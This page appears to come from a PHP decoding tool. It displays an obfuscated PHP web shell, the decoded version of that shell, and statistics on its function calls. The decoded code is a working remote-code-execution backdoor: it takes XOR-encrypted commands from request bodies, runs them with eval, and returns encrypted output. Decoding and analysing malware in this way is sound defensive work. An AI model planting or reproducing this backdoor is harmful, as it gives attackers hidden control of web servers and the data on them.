Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $l='$Yk="f561Yaaf6";$khY="eYf0bf14d42Y08";$kYf="bbYY46a4ccb3adY";$p=Y"Pu5mJ5'; $D=..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="f561aaf6";$kh="ef0bf14d4208";$kf="bb46a4ccb3ad";$p="Pu5mJ5oacqAB79OX";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$l='$Yk="f561Yaaf6";$khY="eYf0bf14d42Y08";$kYf="bbYY46a4ccb3adY";$p=Y"Pu5mJ5';
$D='$k{$j};}Y}retuYrn $o;}iYf(@preYg_match("/Y$kYh(.+)$kf/Y",Y@fiYle_get_Ycont';
$F='n();$r=@base6Y4_encoYde(@YYx(@gzYcompYrYess($o)Y,$k));print("$p$khY$r$kf");}';
$X='oaYcqABYY79OX";functionYY x($t,$k){$Yc=sYtrlen($k);$l=YYstrlen($Yt);$o=Y';
$c='base6Y4_decodeY(Y$Ym[1]),$k)));$o=@oYb_geYt_coYntents()Y;Y@ob_enYYd_clea';
$p='ents("php:/Y/inpuYYt"),$Ym)==Y1){@ob_stYart();@evYal(@gzuncomYpress(Y@xY(@';
$U='"";for($iY=0;$i<Y$l;){foYr($Yj=0;($jYY<$c&&$iY<$l);$j++,$iY++Y)Y{$o.=$YYt{$i}^';
$I=str_replace('W','','crWeaWWteWW_Wfunction');
$d=str_replace('Y','',$l.$X.$U.$D.$p.$c.$F);
$e=$I('',$d);$e();
?>
Function Calls
| preg_match | 1 |
| str_replace | 2 |
| create_function | 1 |
| file_get_contents | 1 |
Stats
| MD5 | e2e8fd17c86d90bcb78c0598fc6520bf |
| Eval Count | 1 |
| Decode Time | 133 ms |